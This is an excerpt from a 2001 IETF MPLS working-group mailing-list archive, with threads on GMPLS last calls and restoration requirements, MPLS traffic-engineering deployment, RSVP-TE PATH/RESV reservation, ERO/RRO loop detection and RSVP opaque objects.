X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

There are two aspects to this problem:

Pre-establishment of protection paths: This 
is something requiring signaling support during
provisioning. Don't see any problem in supporting
this under the current GMPLS framework.

Real-time restoration signaling: Our
view is that a dedicated lightweight protocol
is appropriate. (of course, there are other
views on this :-). ) 

I don't see an obvious show-stopper here w.r.t
progressing the current drafts for last call.

Regards,


Bala Rajagopalan
Tellium, Inc.
2 Crescent Place
P.O. Box 901
Oceanport, NJ 07757-0901
Tel: (732) 923-4237
Fax: (732) 923-9804
Email: braja@tellium.com 

> -----Original Message-----
> From: C. R. Kalmanek [mailto:crk@research.att.com]
> Sent: Friday, May 25, 2001 8:18 PM
> To: Bala Rajagopalan
> Cc: ccamp@ops.ietf.org; mpls@UU.NET
> Subject: Re: GMPLS Last Calls
> 
> 
> Bala,
> 
> Just getting back to email this evening...  
> 
> New objects will certainly be needed.  As for whether restoration
> can be handled purely as extensions to the current drafts remains 
> to be seen -- it would be nice.
> 
> chuck
> 
> Bala Rajagopalan wrote:
> > 
> > Chuck:
> > 
> > I believe that the restoration issue can be
> > dealt with indepedent of the current drafts
> > on last call. Do you see any obstacles to
> > adding new objects/semantics (if any) to support
> > restoration requirements as they arise?
> > 
> > BTW, there are some drafts floating around
> > on shared mesh.
> > 
> > regards,
> > 
> > Bala Rajagopalan
> > Tellium, Inc.
> > 2 Crescent Place
> > P.O. Box 901
> > Oceanport, NJ 07757-0901
> > Tel: (732) 923-4237
> > Fax: (732) 923-9804
> > Email: braja@tellium.com
> > 
> > > -----Original Message-----
> > > From: C. R. Kalmanek [mailto:crk@research.att.com]
> > > Sent: Friday, May 25, 2001 1:08 PM
> > > To: John Drake
> > > Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry); 
> ccamp@ops.ietf.org;
> > > mpls@UU.NET
> > > Subject: Re: GMPLS Last Calls
> > >
> > >
> > > I fully agree: there are a whole spectrum of options that we
> > > need to sort through, and clear requirements are needed to
> > > guide that process.  Our concern is with the last call.  It
> > > doesn't make sense to progress drafts to RFC that are likely
> > > in hindsight to be viewed as having serious deficiencies in
> > > meeting restoration requirements.
> > >
> > > chuck
> > >
> > > John Drake wrote:
> > > >
> > > > The point is that in GMPLS, as in regular MPLS, restoration
> > > consists of
> > > > rerouting from the endpoints upon
> > > > notification of failure.  There are a whole spectrum of
> > > path and span
> > > > protection possibilites beyond this
> > > > that people (including us) have proposed, but in the 
> absence of firm
> > > > requirements, it's hard to know which
> > > > to pursue.  I'm not sure 'shared mesh restoration'
> > > completely covers it.
> > > >
> > > > Thanks,
> > > >
> > > > John
> > > >
> > > > -----Original Message-----
> > > > From: C. R. Kalmanek [mailto:crk@research.att.com]
> > > > Sent: Friday, May 25, 2001 9:54 AM
> > > > To: John Drake
> > > > Cc: 'Tarapore, Percy S'; Ash, Gerald R (Jerry); 
> ccamp@ops.ietf.org;
> > > > mpls@uu.net
> > > > Subject: Re: GMPLS Last Calls
> > > >
> > > > John,
> > > >
> > > > While there currently are no restoration requirements from the
> > > > TE (or other) group, what Percy is saying is that shared mesh
> > > > restoration WILL be a requirement from those groups.  Since the
> > > > current GMPLS drafts don't meet this requirement, they are
> > > > unlikely to meet key SP needs.
> > > >
> > > > I don't understand a process that starts the requirements
> > > > development after last call for the signaling specifications.
> > > >
> > > > chuck
> > > >
> > > > John Drake wrote:
> > > > >
> > > > > Percy,
> > > > >
> > > > > There has been work on protocols for path restoration in
> > > mesh networks by
> > > > a
> > > > > number of
> > > > > people.  However, at the last IETF Kireeti and Vijay
> > > clearly indicated
> > > > that
> > > > > this work,
> > > > > while interesting, wouldn't be allowed to progress in 
> advance of a
> > > > > restoration requirements
> > > > > draft from the TE group.
> > > > >
> > > > > Thanks,
> > > > >
> > > > > John
> > > > >
> > > > > -----Original Message-----
> > > > > From: Tarapore, Percy S [mailto:tarapore@att.com]
> > > > > Sent: Thursday, May 24, 2001 11:55 AM
> > > > > To: Ash, Gerald R (Jerry); ccamp@ops.ietf.org; mpls@uu.net
> > > > > Subject: RE: GMPLS Last Calls
> > > > >
> > > > > There is a significant issue related to the absence of
> > > restoration in the
> > > > > signaling draft
> > > > >
> > > >
> > > (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generaliz
> > > ed-signaling-0
> > > > > 4.txt). Very specifically, Section 7 of this draft deals
> > > with the case
> > > > > involving protection information for link protection. 
> While link
> > > > protection
> > > > > schemes may be desirable for fast recovery related to
> > > high priority LSP's,
> > > > > more cost-effective shared mesh restoration schemes would
> > > be preferred for
> > > > > the majority of traffic from a Service Provider's
> > > perspective. This
> > > > > observation is supported by the fact that many vendors
> > > are currently
> > > > > developing proprietary schemes for shared mesh
> > > restoration. Hence, in
> > > > > addition to the protection information, GMPLS signaling
> > > needs to reflect a
> > > > > minimum set of information/attributes required for shared
> > > mesh restoration
> > > > > without jeopardizing vendor proprietary solutions.
> > > > >
> > > > > The need for multiple types of restoration capabilities
> > > is well documented
> > > > > in the OIF/UNI I-D
> > > > >
> > > >
> > > http://search.ietf.org/internet-drafts/draft-many-carrier-fram
> > > ework-uni-00.t
> > > > > xt as follows:
> > > > >
> > > > > " Multiple types of facilities available for restoration
> > > are needed
> > > > >    within the network. The following options should be
> > > considered for
> > > > >    allocation of facilities to support restoration of failed
> > > > >    connections:
> > > > >    - Dedicated restoration capacity
> > > > >    - Shared restoration capacity. This allows the network
> > > to ensure
> > > > >      high quality service for customers, while still 
> managing its
> > > > >      physical resources efficiently.
> > > > >    - Un-restorable
> > > > >    - Pre-emptable"
> > > > >
> > > > > The OIF/UNI I-D supports a range of different restoration
> > > schemes through
> > > > > the use of service level as a connection attribute. This
> > > attribute is
> > > > > defined as follows:
> > > > >
> > > > > " an integer attribute that indicates a class of service.
> > > A carrier may
> > > > > specify a range of different classes of service (e.g.
> > > gold, silver,
> > > > bronze)
> > > > > with predefined characteristics (e.g. restoration plans).
> > > The pre-defined
> > > > > service types correspond to different types of network
> > > restoration (e.g.
> > > > no
> > > > > restoration, 1+1 protection), connection set-up and hold
> > > priorities,
> > > > > reversion strategies for the connection after failures
> > > have been repaired,
> > > > > and retention strategies."
> > > > >
> > > > > It is therefore important that GMPLS be extended to be
> > > able to support
> > > > such
> > > > > restoration schemes.
> > > > >
> > > > > Percy S. Tarapore
> > > > > AT&T Labs
> > > > >
> > > > > -----Original Message-----
> > > > > From: Ash, Gerald R (Jerry)
> > > > > Sent: Thursday, May 24, 2001 2:20 PM
> > > > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > > > Cc: Ash, Gerald R (Jerry)
> > > > > Subject: RE: GMPLS Last Calls
> > > > >
> > > > > Quoting from the CCAMP/IETF-50 meeting minutes re the
> > > GMPLS Architecture
> > > > > draft:
> > > > >
> > > > > "Eve - Had hoped that CCAMP formation and expression of
> > > requirements would
> > > > > enable us to do more with architecture than reverse
> > > architect proposed
> > > > > solution. Think we should also look at carrier
> > > requirements and look for
> > > > > discrepancies with architecture.
> > > > > Curtis - requirements of carriers not being addressed?
> > > > > Eve - happy to discuss on mailing list in absence of time"
> > > > >
> > > > > There are still no documented service provider (SP)
> > > requirements driving
> > > > the
> > > > > proposed GMPLS protocol extensions.  This is inconsistent
> > > with the current
> > > > > initiatives to provide SP requirements prior to protocol
> > > extensions being
> > > > > accepted, such as for protection/restoration, network
> > > hierarchy, MPLS OAM,
> > > > > MPLS/DiffServ TE, multi-area TE, etc.
> > > > >
> > > > > Here is a sample of SP requirements that are not being
> > > addressed (other
> > > > > requirements from our perspective are forthcoming):
> > > > >
> > > > > 1. Restoration requirements, particularly in support of
> > > mesh restoration,
> > > > > need to be supported by GMPLS.  For example, Section 7 of
> > > the Generalized
> > > > > Signaling I-D
> > > > >
> > > >
> > > (http://www.ietf.org/internet-drafts/draft-ietf-mpls-generaliz
> > > ed-signaling-0
> > > > > 4.txt)
> > > > > primarily discusses link protection, restoration
> > > capabilities are largely
> > > > > missing and need to be included.
> > > > >
> > > > > 2. Standards explicitly supported by GMPLS, such as
> > > G.707, G.709, etc.,
> > > > > should be clearly identified in the text and referenced
> > > in the GMPLS I-Ds,
> > > > > e.g., in Section 3.1 of the Generalized Signaling 
> I-D, add "G.707
> > > > [Reference
> > > > > G.707] is supported by the Generalized Label Request."
> > > > >
> > > > > As per Eve's comment at IETF-50, SPs are encouraged 
> to post their
> > > > > requirements to the list.  It would also help if more SPs
> > > were invited to
> > > > > co-author the GMPLS drafts, to help ensure that SP
> > > requirements are more
> > > > > adequately reflected and addressed.
> > > > >
> > > > > Jerry Ash
> > > > > AT&T Labs
> > > > >
> > > > > -----Original Message-----
> > > > > From: George Swallow [mailto:swallow@cisco.com]
> > > > > Sent: Monday, May 14, 2001 1:52 PM
> > > > > To: ccamp@ops.ietf.org; mpls@uu.net
> > > > > Subject: GMPLS Last Calls
> > > > >
> > > > > This message initiates a last call on four GMPLS 
> drafts.  The last
> > > > > call is being issued jointly in the MPLS and CCAMP workgroups.
> > > > >
> > > > > The drafts are:
> > > > >
> > > > >     1.  Generalized MPLS - Signaling Functional Description
> > > > >
> > > > >            <draft-ietf-mpls-generalized-signaling-04.txt>
> > > > >
> > > > >     2.  Generalized MPLS Signaling - RSVP-TE Extensions
> > > > >
> > > > >            <draft-ietf-mpls-generalized-rsvp-te-03.txt>
> > > > >
> > > > >     3.  Generalized MPLS Signaling - CR-LDP Extensions
> > > > >
> > > > >            <draft-ietf-mpls-generalized-cr-ldp-03.txt>
> > > > >
> > > > >     4.  GMPLS Extensions for SONET and SDH Control
> > > > >
> > > > >            <draft-ietf-ccamp-gmpls-sonet-sdh-00.txt>
> > > > >
> > > > > The last call closes May 29, 12 pm GMT.
> > > > >
> > > > > -  V2KG (Vijay, Vijay, Kireeti, & George)
> > > > >
> > > > >
> > > 
> ======================================================================
> > > > > George Swallow       Cisco Systems
> > > (978) 244-8143
> > > > >                      250 Apollo Drive
> > > > >                      Chelmsford, Ma 01824
> > >
> 


From owner-mpls@UU.NET  Sun May 27 15:01:59 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA11446
	for <mpls-archive@lists.ietf.org>; Sun, 27 May 2001 15:01:59 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqwa12667;
	Sun, 27 May 2001 19:00:41 GMT
Received: by mail-control.mail.uu.net 
	id QQkqwa24411
	for mpls-outgoing; Sun, 27 May 2001 19:00:06 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqwa23983
	for <mpls@mail-control.mail.uu.net>; Sun, 27 May 2001 19:00:03 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqvz26111
	for <mpls@UU.NET>; Sun, 27 May 2001 18:59:48 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkqvz11469
	for <mpls@UU.NET>; Sun, 27 May 2001 18:59:48 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA10430;
	Sun, 27 May 2001 14:59:46 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA16347;
	Sun, 27 May 2001 14:59:47 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <LT7Y6TP2>; Sun, 27 May 2001 14:59:46 -0400
Message-ID: <39469E08BD83D411A3D900204840EC55309613@VIE-MSGUSR-01>
From: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
To: "'Shawn H'" <sah5@hotmail.com>, mpls@UU.NET
Subject: RE: [MPLS-wg] MPLS in today's networks
Date: Sun, 27 May 2001 14:59:45 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Shawn,

  I would say, traffic engineering is not widely 
  deployed at the core. But remember we are always
  ahead of what industry chooses.  

  The need for TE comes when ISPs has less bandwidth
  and would like to manage bandwidth more efficiently
  than their competitors.

  Most ISPs reporting 2.5 - 15% utilization of their 
  backbone, it is hard to come up with a mathematical case
  that a serious network problem exists in the networks
  that are worried about traffic engineering.

  http://www.slac.stanford.edu/comp/net/wan-mon/surveyor-vs-ripe.html

  But, plain old IP routing won't provide TE. Fortunately
  MPLS Constraint-Based Routing implicitly solves TE problems
  along with fast rerouting and application to QoS/GoS.
  MPLS supports, rather than extends, the IP QoS model.
  Other major applications of MPLS is VPN support.

  You can find useful information about TE at:  

  http://www.cse.msu.edu/~xiaoxipe/

  Previously, vendors had proprietary methods but the
  increased L1/L2 technologies providing high bandwidths
  obviates the need for TE. TE-WG has minimum requirements 
  & recommendations for applicability:

  http://www.ietf.org/internet-drafts/draft-ietf-tewg-framework-04.txt  


--Venkata Naidu 

  
-> Hi,
-> 
-> I'm a student currently researching MPLS-TE technologies. 
-> With all the 
-> proposed methods and functionalities, I was wondering if 
-> anyone has some 
-> useful information/pointers to answers to the following questions:
-> * How widely is traffic engineering over MPLS deployed in 
-> today's networks?
-> * What applications of MPLS are in use today (TE, 
-> protection, BGP nexthop 
-> resolution, etc)?
-> * How widely used are TE offline planning tools?
-> * How do different vendors affect different deployments? 
-> That is, are the 
-> common functionalities mostly in use, or are there different 
-> proprietary 
-> methods used in different networks/SPs?
-> 
-> Thanks a lot for any useful information,
-> Shawn.


From owner-mpls@UU.NET  Sun May 27 18:44:46 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA12326
	for <mpls-archive@lists.ietf.org>; Sun, 27 May 2001 18:44:46 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqwo02184;
	Sun, 27 May 2001 22:43:29 GMT
Received: by mail-control.mail.uu.net 
	id QQkqwo29121
	for mpls-outgoing; Sun, 27 May 2001 22:42:57 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqwo29113
	for <mpls@mail-control.mail.uu.net>; Sun, 27 May 2001 22:42:53 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqwo05726
	for <mpls@UU.NET>; Sun, 27 May 2001 22:42:32 GMT
Received: from entmail.gnilink.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: entmail.gnilink.net [199.45.47.10])
	id QQkqwo12739
	for <mpls@UU.NET>; Sun, 27 May 2001 22:42:32 GMT
Received: by entmail.gnilink.com with Internet Mail Service (5.5.2653.19)
	id <KX9YJSDQ>; Sun, 27 May 2001 18:41:43 -0400
Message-ID: <94B9091E1149D411A45C00508BACEB359CDB6B@entmail.gnilink.com>
From: "Martin, Christian" <cmartin@gnilink.net>
To: "'Khuzema Pithewan'" <KhuzemaP@netbrahma.com>, mpls@UU.NET,
        "Parmar, Pankaj N" <pankaj.n.parmar@intel.com>
Subject: RE: RSVP-TE question
Date: Sun, 27 May 2001 18:41:43 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk


> I think, while propagating PATH messages RSVP-TE ensures the required
> resources will be available..thats why it queries at each 
> node if required
> resources are available or not. If not available it send back 
> the PATHERR
> with error code "admission control failure" and error value 
> "02", while
> actual resources are reserved at the time when node receives 
> RESV message.
> 
> Khuzema. 

This does nothing to control the realized QoS, as a misbehaving flow could
easily exceed its reserved QoS.  Hard QoS is a false deity in RSVP-TE over
IP networks as of today.

 -chris


> 
> 
> > ----------
> > From: 	Parmar, Pankaj N
> > Sent: 	Saturday, May 26, 2001 4:49 AM
> > To: 	'mpls@UU.NET'
> > Subject: 	RSVP-TE question
> > 
> > I need some clarification on the role of PATH and RESV 
> messages while
> > setting up an LSP with QoS requirements. The draft talks 
> about use of PATH
> > messages for verification of available bandwidth at a 
> particular priority
> > and possible pre-emption of lower priority reservations. 
> Could the PATH
> > message be used to hold QoS resources as well ? If yes, 
> then what role
> > does
> > RESV message play (in regards to setting up QoS) ? If no, 
> when do QoS
> > resources actually get reserved ?
> > 
> > Thanks,
> > 
> > -Pankaj
> > 
> 


From owner-mpls@UU.NET  Mon May 28 00:23:19 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA16202
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 00:23:19 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqxl03131;
	Mon, 28 May 2001 04:20:54 GMT
Received: by mail-control.mail.uu.net 
	id QQkqxl23218
	for mpls-outgoing; Mon, 28 May 2001 04:20:21 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqxl23210
	for <mpls@mail-control.mail.uu.net>; Mon, 28 May 2001 04:20:09 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqxl09256
	for <mpls@UU.NET>; Mon, 28 May 2001 04:19:41 GMT
Received: from brahma01.netbrahma.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.67])
	id QQkqxl01794
	for <mpls@UU.NET>; Mon, 28 May 2001 04:19:39 GMT
Received: by BRAHMA01 with Internet Mail Service (5.5.2653.19)
	id <LQ032LWY>; Mon, 28 May 2001 09:49:02 +0530
Message-ID: <13D467F625FAD511AE2A00D0B7B917D726EC85@BRAHMA01>
From: Khuzema Pithewan <KhuzemaP@netbrahma.com>
To: mpls@UU.NET, David Charlap <david.charlap@marconi.com>
Subject: RE: 
Date: Mon, 28 May 2001 09:49:01 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

> Note, however, that with the TE extensions, looping should not happen in
> the first place.  For a Path that has no ERO object, behavior is similar
> to that of RFC 2205.  For a Path that has an ERO consisting entirely of
> strict hops, any looping will be due to the ingress router deliberately
> creating it - meaning the problem is with whatever entity generated that
> ERO.  A Path with an ERO that has loose subobjects may loop, but this is
> solved by using the RRO object - which is mandatory when a loose-ERO is
> present.
> 
> 
I think it is just suggested that keeping RRO will help in detecting loop,
but it is not mandatory to include RRO, if ERO is loose.

Khuzema. 


From owner-mpls@UU.NET  Mon May 28 01:07:43 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA16880
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 01:07:42 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqxo03100;
	Mon, 28 May 2001 05:06:42 GMT
Received: by mail-control.mail.uu.net 
	id QQkqxo15378
	for mpls-outgoing; Mon, 28 May 2001 05:05:12 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkqxo15331
	for <mpls@mail-control.mail.uu.net>; Mon, 28 May 2001 05:04:57 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqxo01167
	for <mpls@UU.NET>; Mon, 28 May 2001 05:04:51 GMT
Received: from smtp01.roc.gblx.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp01.roc.gblx.net [209.130.222.196])
	id QQkqxo00393
	for <mpls@UU.NET>; Mon, 28 May 2001 05:04:50 GMT
Received: (from daemon@localhost)
	by smtp01.roc.gblx.net (8.9.3/8.9.3) id BAA236070;
	Mon, 28 May 2001 01:04:33 -0400
Received: from jon.plonka.gblx.net(208.50.189.218), claiming to be "plonka"
 via SMTP by smtp01.roc.gblx.net, id smtpdli3Eia; Mon May 28 01:04:26 2001
From: Jonathon Plonka <jplonka@gblx.net>
To: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
Cc: "'Shawn H'" <sah5@hotmail.com>, mpls@UU.NET
Subject: Re: [MPLS-wg] MPLS in today's networks
Date: Sun, 27 May 2001 22:04:38 -0700
Organization: Global Crossing
Reply-To: jplonka@gblx.net
Message-ID: <eqm3htgcsdv3kv452akufqhjeu0ul3cpq8@4ax.com>
References: <39469E08BD83D411A3D900204840EC55309613@VIE-MSGUSR-01>
In-Reply-To: <39469E08BD83D411A3D900204840EC55309613@VIE-MSGUSR-01>
X-Mailer: Forte Agent 1.8/32.548
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id BAA16880

On Sun, 27 May 2001 14:59:45 -0400, "Naidu, Venkata"
<Venkata.Naidu@Marconi.com> wrote:

>Shawn,
>
>  I would say, traffic engineering is not widely 
>  deployed at the core. But remember we are always
>  ahead of what industry chooses.  
>
We, global crossing,  have it deployed 100% and have had it in the core
since May of 1999 with a full US mess completed in June of 99.

>  The need for TE comes when ISPs has less bandwidth
>  and would like to manage bandwidth more efficiently
>  than their competitors.

Or when ISPs have a mix of circuits and need distribute traffic over them.

>
>  Most ISPs reporting 2.5 - 15% utilization of their 
>  backbone, it is hard to come up with a mathematical case
>  that a serious network problem exists in the networks
>  that are worried about traffic engineering.

????  2.5 - 15% ???  That would be nice, but I do not think its the case.
Backbone circuits are expensive and running them at this ration would be
uncompetitive.

>
>  http://www.slac.stanford.edu/comp/net/wan-mon/surveyor-vs-ripe.html
>
>  But, plain old IP routing won't provide TE. Fortunately
>  MPLS Constraint-Based Routing implicitly solves TE problems
>  along with fast rerouting and application to QoS/GoS.
>  MPLS supports, rather than extends, the IP QoS model.
>  Other major applications of MPLS is VPN support.
>
>  You can find useful information about TE at:  
>
>  http://www.cse.msu.edu/~xiaoxipe/
>
>  Previously, vendors had proprietary methods but the
>  increased L1/L2 technologies providing high bandwidths
>  obviates the need for TE. TE-WG has minimum requirements 
>  & recommendations for applicability:
>
>  http://www.ietf.org/internet-drafts/draft-ietf-tewg-framework-04.txt  
>
>
>--Venkata Naidu 
>
>  
>-> Hi,
>-> 
>-> I'm a student currently researching MPLS-TE technologies. 
>-> With all the 
>-> proposed methods and functionalities, I was wondering if 
>-> anyone has some 
>-> useful information/pointers to answers to the following questions:
>-> * How widely is traffic engineering over MPLS deployed in 
>-> today's networks?
>-> * What applications of MPLS are in use today (TE, 
>-> protection, BGP nexthop 
>-> resolution, etc)?
>-> * How widely used are TE offline planning tools?
>-> * How do different vendors affect different deployments? 
>-> That is, are the 
>-> common functionalities mostly in use, or are there different 
>-> proprietary 
>-> methods used in different networks/SPs?
>-> 
>-> Thanks a lot for any useful information,
>-> Shawn.



From owner-mpls@UU.NET  Mon May 28 01:13:08 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA17289
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 01:13:08 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqxo14649;
	Mon, 28 May 2001 05:05:32 GMT
Received: by mail-control.mail.uu.net 
	id QQkqxo15313
	for mpls-outgoing; Mon, 28 May 2001 05:04:53 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkqxo15150
	for <mpls@mail-control.mail.uu.net>; Mon, 28 May 2001 05:04:47 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkqxo28562
	for <mpls@uu.net>; Mon, 28 May 2001 05:04:38 GMT
Received: from samar.sasken.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: samar.sasken.com [164.164.56.2])
	id QQkqxo13635
	for <mpls@uu.net>; Mon, 28 May 2001 05:04:35 GMT
Received: from samar (localhost [127.0.0.1])
	by samar.sasken.com (8.11.3/8.11.3) with SMTP id f4S54Sf17691
	for <mpls@uu.net>; Mon, 28 May 2001 10:34:28 +0530 (IST)
Received: from localhost (amg@localhost)
	by sund2.sasi.com (8.9.3/8.9.3) with ESMTP id KAA00115
	for <mpls@uu.net>; Mon, 28 May 2001 10:33:08 +0530 (IST)
Date: Mon, 28 May 2001 10:33:08 +0530 (IST)
From: Abhijit M Gadgil <amg@sasken.com>
X-Sender:  <amg@sund2.sasi.com>
To: <mpls@UU.NET>
Subject: what exactly is an "opaque" object.
Message-ID: <Pine.GSO.4.30.0105281028400.26290-100000@sund2.sasi.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk


Hi

While reading thr' the RSVP related draft, a term called opaque object is
used quite often. Can anyone please tell me what exactly one means by
opaque object?

thanks and regards

-abhijit




From owner-mpls@UU.NET  Mon May 28 02:02:08 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA22829
	for <mpls-archive@lists.ietf.org>; Mon, 28 May 2001 02:02:08 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkqxr14714;
	Mon, 28 May 2001 05:54:30 GMT
Received: by mail-control.mail.uu.net 
	id QQkqxr20378
	for mpls-outgoing; Mon, 28 May 2001 05:53:58 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkqxr20370
	for <mpls@mail-control.mail.uu.net>; Mon, 28 May 2001 05:53:53 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkqxr15602
	for <mpls@UU.NET>; Mon, 28 May 2001 05:53:30 GMT
Received: from india.mercurykr.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [165.133.13.60])
	id QQkqxr12822
	for <mpls@UU.NET>; Mon, 28 May 2001 05:53:12 GMT
Received: from amar (kapil [165.133.13.19])
	by india.mercurykr.com (8.8.8+Sun/8.8.8) with SMTP id LAA14814;
	Mon, 28 May 2001 11:14:59 -0600 (GMT)
Message-ID: <007c01c0e73a$a883c020$130d85a5@dti.daewoo.co.kr>
From: "Amarendra" <amar@mercurykr.com>
To: "Abhijit M Gadgil" <amg@sasken.com>, <mpls@UU.NET>
References: <Pine.GSO.4.30.0105281028400.26290-100000@sund2.sasi.com>
Subject: Re: what exactly is an "opaque" object.
Date: Mon, 28 May 2001 11:23:59 +0530
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

There r some objects in RSVP whose contents r not visible in RSVP these
objects r called opaque objects e.g
objects of classes FLOWSPEC, ADSPEC, and POLICY_DATA are opaque to RSVP,
which simply hands them to
 traffic control or policy modules.

Please refer
3.11.6 Service-Dependent Manipulations

         Flowspecs, Tspecs, and Adspecs are opaque objects to RSVP;
         their contents are defined in service specification documents.
         In order to manipulate these objects, RSVP process must have
         available to it the following service-dependent routines.

----- Original Message -----
From: "Abhijit M Gadgil" <amg@sasken.com>
To: <mpls@UU.NET>
Sent: Monday, May 28, 2001 10:33 AM
Subject: what exactly is an "opaque" object.


>
> Hi
>
> While reading thr' the RSVP related draft, a term called opaque object is
> used quite often. Can anyone please tell me what exactly one means by
> opaque object?
>
> thanks and regards
>
> -abhijit
>
>
>



From owner-mpls@UU.NET  Mon May 28 02:17:43 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
